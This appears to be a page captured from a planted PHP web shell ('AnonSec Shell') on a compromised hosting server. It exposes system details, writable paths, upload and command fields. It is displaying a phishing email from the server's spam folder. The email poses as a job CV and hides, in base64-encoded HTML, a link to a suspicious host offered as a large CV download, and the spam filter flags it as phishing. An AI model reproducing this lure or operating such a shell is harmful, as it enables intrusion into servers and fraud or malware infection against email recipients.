AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././././mail/.spam/new/1741288517.M681551P12614.dedi-4363141.lrsys.com.br,S=6945,W=7072
Return-Path: <vaga37@express6125.financeirorosa.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id MFliKEX0yWdGMQAAIWsJAg
	(envelope-from <vaga37@express6125.financeirorosa.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Thu, 06 Mar 2025 16:15:17 -0300
Return-path: <vaga37@express6125.financeirorosa.biz>
Envelope-to: compras@lrsys.com.br
Delivery-date: Thu, 06 Mar 2025 16:15:17 -0300
Received: from express6125.financeirorosa.biz ([157.180.37.64]:56402)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.98.1)
	(envelope-from <vaga37@express6125.financeirorosa.biz>)
	id 1tqGga-000000003Ol-0Nxb
	for compras@lrsys.com.br;
	Thu, 06 Mar 2025 16:15:17 -0300
Received: from express6125.financeirorosa.biz (localhost [127.0.0.1])
	by express6125.financeirorosa.biz (Postfix) with ESMTP id EE80D216EE
	for <compras@lrsys.com.br>; Thu,  6 Mar 2025 16:14:29 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=express6125.financeirorosa.biz; s=default; t=1741288469;
	bh=9GMsx0zvk3UeHiXfoYNW4VF+myMG1ja+LO8w73V4sZQ=;
	h=From:To:Reply-To:Date:Subject:From;
	b=PrXfDlxRbaShrCLNL/sfX5MF7gPSOPLHyR0FG9t8rZOfUp55jDF6ml+QOHWH4loJu
	 hpsYBUBQzintZXWrtZgPW7CTRxMG6bHpfXzozCw1oaSBO0TljxO4cFnIOuBIVcmaD2
	 +z/E5RQXxwDWuGzGo9huj9c1t4nHQVjQPHqqRIGa0RUg82qAhDci55H50IraTwTpdg
	 KqO4gS+qmbR0ZwduPS0tCpUJZG5Zj8YUSAV8co9Y0VkQiJ4FJi85iuLRJAIfPGaxEV
	 TKjFwosepvZOTPl9LBeN1G/SjE+YHv+pq73xDtbU2b6Y33nMh3owWuCxxqLXAwV9UI
	 OL7PCQIp/Tz3g==
From: "Priscila Dantas" <vaga37@express6125.financeirorosa.biz>
To: compras@lrsys.com.br
Content-Type: multipart/alternative; boundary="KXl=_yQGXeF65uR8E8JPq6MdwhYU52tuCl"
MIME-Version: 1.0
Reply-To: n5mx@express6125.financeirorosa.biz
Date: Thu, 6 Mar 2025 16:14:29 -0300
Message-Id: <20250306191429.EE80D216EE@express6125.financeirorosa.biz>
X-Spam-Status: Yes, score=11.2
X-Spam-Score: 112
X-Spam-Bar: +++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Priscila Dantas
    Caro(a) compras@lrsys.com.br, 
 Content analysis details:   (11.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: financeirorosa.biz]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: financeirorosa.biz]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [157.180.37.64 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [157.180.37.64 listed in sa-trusted.bondedsender.org]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.8 FROM_FMBLA_NEWDOM28    From domain was registered in last 14-28
                             days
X-Spam-Flag: YES
Subject:  ***SPAM***  CV:527942622025

This is a multi-part message in MIME format

--KXl=_yQGXeF65uR8E8JPq6MdwhYU52tuCl
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--KXl=_yQGXeF65uR8E8JPq6MdwhYU52tuCl
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJwdC1iciI+CjxoZWFk
PgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgo8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IHN0
eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+CiAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6MThw
eDsiPjxzdHJvbmcgc3R5bGU9ImZvbnQtZmFtaWx5OiBHZW9yZ2lhLCBzZXJpZjsgdGV4dC1hbGln
bjogY2VudGVyOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNDJFMjY7Ij5QcmlzY2lsYSBEYW50YXM8
L3NwYW4+PC9zdHJvbmc+PC9zcGFuPgogICAgPC9kaXY+CiAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFs
aWduOiBsZWZ0OyI+CiAgICAgIDxociAvPgogICAgICA8cD4KICAgICAgICA8c3BhbiBzdHlsZT0i
Zm9udC1zaXplOjE0cHg7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEdlb3JnaWEsIHNlcmlm
OyI+Q2FybyhhKSBjb21wcmFzQGxyc3lzLmNvbS5iciw8L3NwYW4+PC9zcGFuPgogICAgICA8L3A+
CiAgICAKICAgICAgPHA+CiAgICAgICAgPGEgaHJlZj0iaFRUcHM6Ly83NC01MC0xMjctNDkuc3Rh
dGljLmh2dmMudXMvRDEyZzVxVUNRay9XQ2t1a01nNXFNNkM4SDEvUVJfMDAwNzcxNzMyMDg4IiB0
YXJnZXQ9Il9ibGFuayIgIGRhdGEtYXV0aD0iTm90QXBwbGljYWJsZSIgc3R5bGU9ImRpc3BsYXk6
IGJsb2NrOyBtYXgtd2lkdGg6IDI5MHB4OyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93
OiBlbGxpcHNpczsgd2hpdGUtc3BhY2U6IG5vd3JhcDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBw
YWRkaW5nOiAxcHggMDsgYm9yZGVyOiBub25lOyI+CiAgICAgICAgICA8c3BhbiBzdHlsZT0iY29s
b3I6ICMxNWM7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgdmVydGljYWwtYWxpZ246IGJvdHRvbTsi
PkN1cnImIzIzNztjdWxvIFByaXNjaWxhIERhbnRhcyAtICg3MTlNQik8L3NwYW4+CiAgICAgICAg
PC9hPgogICAgICA8L3A+CiAgICAgIAogICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEdl
b3JnaWEsIHNlcmlmOyI+QXR0LDwvc3Bhbj4KICAgCiAgICAgICZuYnNwO1ByaXNjaWxhIERhbnRh
cwogICAgPC9kaXY+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==

--KXl=_yQGXeF65uR8E8JPq6MdwhYU52tuCl--


Anon7 - 2022
AnonSec Team